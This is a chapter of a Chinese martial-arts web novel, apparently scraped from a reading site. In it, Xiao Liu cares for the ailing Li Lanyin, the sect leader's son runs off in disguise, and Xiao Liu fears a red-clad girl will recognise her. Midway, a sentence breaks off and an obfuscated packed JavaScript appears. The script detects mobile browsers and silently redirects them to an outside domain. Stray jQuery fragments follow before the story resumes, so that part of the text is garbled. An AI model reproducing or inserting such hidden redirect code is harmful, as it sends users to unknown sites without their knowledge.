次日,李岚音身体略微好转,又叫了小六去后院:“昨日冻着你了,山上风冷,你大可不必担心吵到我,而去受那等寒峭之苦。”
“外边天高地阔空气好,我喜欢去外边练琴。”小六挠了挠头:“风冷我穿多点就是了,您看我今天穿了好多,冻不着了。”
“改改这挠头的习惯,梳得好好的头发都给抓乱了。”李岚音招手道:“过来,我给你理理。”
小六只好移步过去,在她身前乖巧地蹲下,任由她帮忙梳理头发。
常四娘端着一碗药过来,提醒道:“夫人,药凉了,进去喝药吧。”
屋里要比廊下暖和,小六扶着李岚音进去,常四娘放下药,替主子解下狐裘:“今年倒比往常冷得早一些,少谦公子孝心,早早的就给您备下了这狐皮子,正好派上用场。”
李岚音淡淡地笑了笑,端过药碗,仰头一饮而尽,又从常四娘递过来的一碟子蜜饯中,捡起一块吃了。
蜜饯顺喉而下,但她皱着眉,仿佛那股子绵长的苦辣味怎么都压不住。
常四娘劝她再来一块,她摇着头推开了,轻声道:“喝了那么多下去,也不见好,倒不如不喝。”
“夫人嫌苦的话,为夫请晏神医再过来,替你改改方子。”薛燚正好进屋来,上前接过常四娘手里的蜜饯,亲自喂到她嘴里:“药虽然难喝,但喝下去,总归不会更坏,夫人还是要按时服用才好。”
李岚音幽幽叹了口气:“算了,这么多年也已经苦习惯了,就莫要劳烦晏神医跑多一趟了。”
“听说南月轩又出了新的蜜饯,那我让人去给你买一些来。”薛燚在软榻的另一头坐下,展了展衣袖:“祈年昨日已经率弟子启程出发前往长麓了,怀安兄那边想必这两日便能收到消息,亦会派弟子前去与他们汇合;夫人吩咐之事,我已经交待祈年,待他们赶到长麓,就立即派人去长宁镇处理,夫人尽可以放心。”
李岚音特意看了小六一眼,点头道:“夫君行事周全,我向来是放心的。”
听他俩提及长宁镇之事,想来是给秦阿爹和老叫花送银子去了,小六心里头那个高兴,便是比吃了蜜饯还甜。
不料薛燚扫了她一眼,竟是皱眉道:“夫人病弱,又何苦做这种劳心费力之事!”
薛燚的话分明意有所指,小六刚翘起的嘴角立马压了下去,暗道这两父子可真有默契,当儿子的昨天才来过,今天当老子的又来兴师问罪了。
“独幽的声音已经许多年未曾响起了。”李岚音面露苦楚,眼中似乎蒙上了一层薄雾:“父亲当日赠我独幽,可恨我却成了无用之人,令它蒙尘已久。如今幸得小六,虽然不能承我衣钵,但能令父亲九泉之下再次听到独幽的乐声,想来也是些许慰籍吧。”
小六听得汗颜三尺,就她那琴音,怕是老阁主在地下听到了,棺材板子都压不住,非得爬出来一通暴揍吧。
“夫人何须自弃,你只要悉心调养,将来未必没有再奏独幽之日。”薛燚停顿了一下,微微侧过身去,隔着桌子轻握住李岚音的手,安慰道:“也罢,你心中愁郁,难得这孩子能讨你欢喜,我也不必多言劝阻,只是记住一条,切勿太过劳累了。”
正当温馨时刻,突然门外传来一阵急促的脚步声,一名弟子慌慌张张地跑进来,嘴里呼喊道:“师父,师父……”
薜燚收回手,神情立即变得不悦,厉声斥责道:“成何体统!”
那弟子方正了正心神,偷偷瞥了一眼坐在上首的李岚音,似乎有话却又犹豫不决。
李岚音微微一笑,轻声道道:“田坤,你何事急成这副样子?慢慢说。”
“是薛师弟……”田坤被薛燚再次斥责后,这才继续说道:“今早练功时,弟子未瞧见薛师弟,以为他又像往常一样晚起,就没有留意,待回去叫他时,见他没有应答,弟子便……便推门进去了。”
“少谦怎么了?”听到和自家儿子相关,李岚音瞬间淡定不起来了。
田坤接着道:“弟子进去后,发现那床上躺着的竟是个假人,薛师弟他……他根本不在房间!”
薛燚脸色一变:“为何现在才来通报?”
“弟子一一问过师兄弟们。”田坤回禀:“所有人都说今早没有见过薛师弟,但是……但是……”
气得薛燚拍桌子道:“但是什么?”
田坤缩了一下脖子,小声回答道:“但是看守山门的师兄弟说今日一早,常婆婆就拿着您的令牌,说是奉命去给师娘采买,下山去了。”
常四娘这会就站在眼前,田坤口中所说的常婆婆,自然是乔装改扮的,除了薛少谦,还能有谁?
李岚音不安道:“夫君,少谦他可是……”
“这个逆子,还能去哪里?定是奔着长麓去了!”薛燚的语气中透露出一丝寒意:“他素来最是孝顺,未曾告诉过夫人他要下山之事吗?”
“未曾。”李岚音轻轻摇了摇头:“我这几日病着,总是昏睡,便连少谦前日里来看我,都是后来听常姨说起才知晓的。”
薛燚抚着拇指上的玄铁指环,没有说话。
却见常四娘忐忑上前:“启禀掌门,少谦公子前日里来雪庐看望夫人时,倒是与老婆子提起过一句。”
薛燚拉了个长腔,眉峰微耸,质问道:“哦,那常姨既是知晓他要下山,为何不阻拦?”
常四娘解释道:“是老婆子大意了,本以为少谦公子说的赌气话,当时便劝了他几句,让他休要忤逆掌门的意思,更要以夫人的身体为重。没想到,他竟真的私自下山去了!掌门若要责罚,老婆子绝无异议,只是勿要错怪了夫人。”
“常姨,你好糊涂啊。”李岚音满脸的愁容:“夫君,少谦孩子心性,他与慧云叔侄情深,才会不顾你的禁令私自下山。此事说来,都是我管教无方,你要责罚,便责罚我吧。”
她都那样摇摇欲坠的身体了,别说责罚,便连语气稍重一点都能让人背上谋害的嫌疑吧。
“夫人就是平日里太骄纵他了,所以才让他这般不知轻重不听管束!”薛燚数落了一句,见她已哽咽着落下泪来,一时又有些不忍:“夫人好些休养吧,既然病着,就少花些心力,免得扰了养病!”
说完,冷冷地瞥了小六一眼,甩甩袖子又急匆匆走了。
不是在骂薛少谦的吗?怎么拐到她身上来了?喂,这琴不是她想练的,是你的夫人啊!
小六端起蜜饯碟子,悻悻地塞了一嘴。
秋意越来越浓,银杏树的叶子犹如碎落的黄金,铺得满地都是。每天早上,小六都会帮常四娘将昨夜掉落的杏叶清扫到一起,埋到树底下,到了傍晚时候,又会落下厚厚的一层。
去长麓山的弟子陆陆续续传回来消息,先是找到了薛少谦,后又与天音阁弟子一起,找到了慧云的骸骨和遗物,不日将送回天音阁安葬。
至于阿香等人,道是遵照掌门师娘的吩咐均已安排妥当,只是未找到老叫花,据闻他赢了好多银子,扬言要去外边好吃好喝,从此便不知去向了。
连抚养费都不要了吗?小六觉得自己越来越看不懂这个老头了!
收到有关慧云的消息,李岚音少不得又哭了一场,又值季节更替引发了旧疾,由此缠绵病榻,严重时甚至咯血昏迷,几度垂危。
薛燚自是请了神医回来给她续命,而小六此前在李岚音的安排下,已在灵位前认慧云为义母,论起来也算是李岚音名义上的侄女了,当然也要略表孝心,主动侍汤奉药,给常四娘打个下手。
待到李岚音的病情终于略有起色,苍云山的风已经吹得凛冽,岫云峰除了送来日常食材,每隔三日还会添多一只老母鸡,道是给掌门师娘滋补身体所用。
其实以李岚音的身体能吃得下什么,那锅鲜香的鸡汤无一例外都落入了小六的肚里,滋补得她整个人都圆了一圈,再也不是刚上山时面黄肌瘦的模样。
时间一晃而过,转眼临近年节,苍云山迎来了入冬后的第一场雪,鹅毛般的雪花纷飞落下,将绵延的山峦装扮成银装素裹的景象。远远望去,只见山是白的,雪是白的,云也是白的,天地间宛若一片纯净无瑕的银白仙境。
待雪停后,常四娘提议前往岫云峰挑选一些年节所需的物资,并询问小六要不要和她同去。
苍云派分置五峰,除了长门所居的主峰凌云峰苍云殿外,还有归云、飞云、冠云、岫云四峰。原本这五峰五脉,脉脉相传,然而天意弄人,那归云峰竟因一些复杂的原因,不幸断了传承,自此,便只剩下四脉。
在这四脉当中,长门凌云峰是老大,管的是对外的大事,冠云峰掌管刑罚,岫云峰主管内务,唯有飞云峰,由于首座宋士乾生性散漫,所以一概不管。
岫云峰原先的首座姓陆名其祯,据说是苍云山上出了名的宠妻之人,只因夫人林宛喜爱赏花,他便花了数十几年的光阴,将那岫云峰硬生生改造成了一座花峰,庭前院后遍种花草不说,还在殿前的小广场上挖了一个巨大的水池子,池中种满了各种颜色的荷花。每当夏日来临,荷花盛开,整个水池就仿佛被缤纷的色彩所覆盖,成为了苍云山中的一道亮丽的风景。
小六来苍云的这段时间,日常活动仅限于雪庐。别说其它四峰了,甚至连凌云峰的美景,都未曾有机会细致欣赏。因此,当常四娘提议去岫云峰,她顿时激动得一蹦三尺,只差没抱着常四娘喊亲奶,哪有不去的道理。
常四娘去到岫云峰时,便有弟子迎上前来,告知林宛已经备下了热茶,在等着她的到来。
她们喝茶聊天挑东西,可小六来这里,目的纯粹是为了游玩,自然不想去殿里受约束,常四娘索性也由着她,只是叮嘱不要随意走动,半个时辰后务必在小广场等着一同回去。
小□□处
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416540|184691||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
漫无目的地闲逛,感觉时间差不多了,便返回到广场中央的荷花池旁,一边搓着雪球自娱自乐,一边等待常四娘出来。
此时的荷花池,荷叶已经凋零,被厚厚的冰雪覆盖着,往日的美丽风光已不复存在,只剩下数杆灰褐色的莲蓬杆,在风中微微地摇晃。
来岫云峰上领取年节物资的弟子络绎不绝。小广场上的积雪被踩踏出一行行深浅不一的脚印,有的地方已经开始融化,地面略有些湿滑。
一群弟子从偏殿中领取物品后陆续走出,也不知道哪个峰的,抬的俱是清一色的金丝楠木大箱子,前前后后竟有一二十个之多,行走间飘散着一股独特的淡淡木香。
或许那箱子过于庞大沉重了,他们走得极是缓慢。即便如此,还是有人不小心滑了一跤,只听啊的一声,一个箱子轰然坠地,里边的物品随之倾斜而出,散落在湿泞的雪地上。
摔跤的师姐显然慌了神,顾不上查看自己有没有受伤,就急忙爬起来,一瘸一拐地去拾起散落的物品。
两只圆溜溜的红球恰好滚落到小六的脚边,这些红球一寸多大小,表面有温润的光泽,显然用的是极好的玛瑙料子。
除此之外,地上还撒落着石刻、木雕等各式精巧的小玩意儿。
原来这箱子里装的尽是些玩耍之物。
小六不禁咂舌,弯下腰捡起两只红球,轻轻放入已经整理好的楠木箱子中,顺便再帮忙捡起其他散落的物品。
“沈师姐,全师姐,你们还好吧?”一个女孩急匆匆地跑来,娇滴滴地提醒道:“你们要小心一点哦,这些可都是爹爹给我新做好的玩具,万一摔坏我就没法玩了!”
“没摔坏的,崔师妹,你放心,我们这就捡好。”俩位师姐连忙回应。
“那就好,快点捡吧。”显然,女孩并没有弯下腰来亲自捡拾的打算。
小六被她们之间清奇的对话所震惊,顿时也没了助人为乐的欲望,便站起身准备离开,女孩惊讶了一声道:“咦,你是谁?”
她的手里捧着一大串新鲜饱满的蒲桃,圆润粉嫩的脸庞上,樱桃小嘴轻轻地嘟起,嘴角还沾着少许的紫色蒲桃汁。重点是她穿的并不是浅蓝色的弟子服,而是一袭如晚霞般绚烂的红衣。
这身红衣好像印象很深刻的样子。
小六心头一震,急忙转过头去,装作没听见,快步离开了。
身后传来声音:“是住在雪庐里的那个小女孩吧,刚才见到她时是和常婆婆一起来的。”
“哦,我怎么觉得她有些面熟,好像在哪里见过……”另一个是那红衣女孩的声音。
小六一口气小跑到了偏殿的拐角处,待那一群人走得连背影都看不到了,方才从角落里出来,惊魂未定地拍着脸道:“吓死了,这都能认出来?!”
身后突然传来一道声音:“小六,你在这里干嘛?”
她慌慌张张地转过身去,看到常四娘站在高高的台阶上,带着微许笑意望着她,也不知什么时候来的,看了多久。
“婆婆,您东西还没拿吧?我帮您。”小六忙上前去挽住常四娘的胳膊,将话题岔开。
常四娘轻轻拍了拍她的手:“不用,稍后会有人送过去的,我们先回雪庐吧。”
“好。”小六答应得很快,只是一路都挽着常四娘的手又是问这又是问那,行走的速度自然也慢了下来:“婆婆,我刚才看见一群人过来领东西,其中有个比我大一两岁的小姐姐,穿着一身红彤彤的衣裳,长得特别好看,她也是苍云派的弟子吗?为什么穿得和其他人都不一样啊?”
“穿红衣的?”常四娘探究的眼神从她的脸上一扫而过:“那应该是冠云峰连昊的弟子,你住在雪庐,少有机会去各脉走动,所以不认得,那个穿红衣的是雍城崔家的幼女崔予彤……”
当今天下邪魔式微,正道兴盛。
正道诸门中,以苍云派、灵隐寺、天音阁为领袖,又有青阳门、长麓谷、昆仑门紧随其后,还有无双城风家、雍州崔家、云州裴家、和禹州宁家,合计六大门派四大世家,个个都称得上是底蕴深厚,各有神通。
门派与世家之间固然有门户之见,佛道之别,但并不妨碍其中一部分搞强强联合,比如说苍云派与天音阁的联姻,又比如说风家把少主送过来苍云求学,宁家把儿子送过去灵隐寺当和尚,裴家也在琢磨着和宁家或者风家结个姻亲什么的。
这崔家的幼女予彤便是去年春天,由现任家主崔池与其夫人亲自送上山来的,只因掌门薛燚早已不再收徒,这才将她收在了冠云峰连昊门下。
小六听得如坠冰窟,敢情中秋节那晚,她在无双城里遇到的一行人,很可能都是苍云派的弟子。
也就是说,那些人很可能会成为她的师兄师姐,和她同住在一片屋檐下,抬头不见低头见……
完了完了,她突然有种眼前一黑的感觉。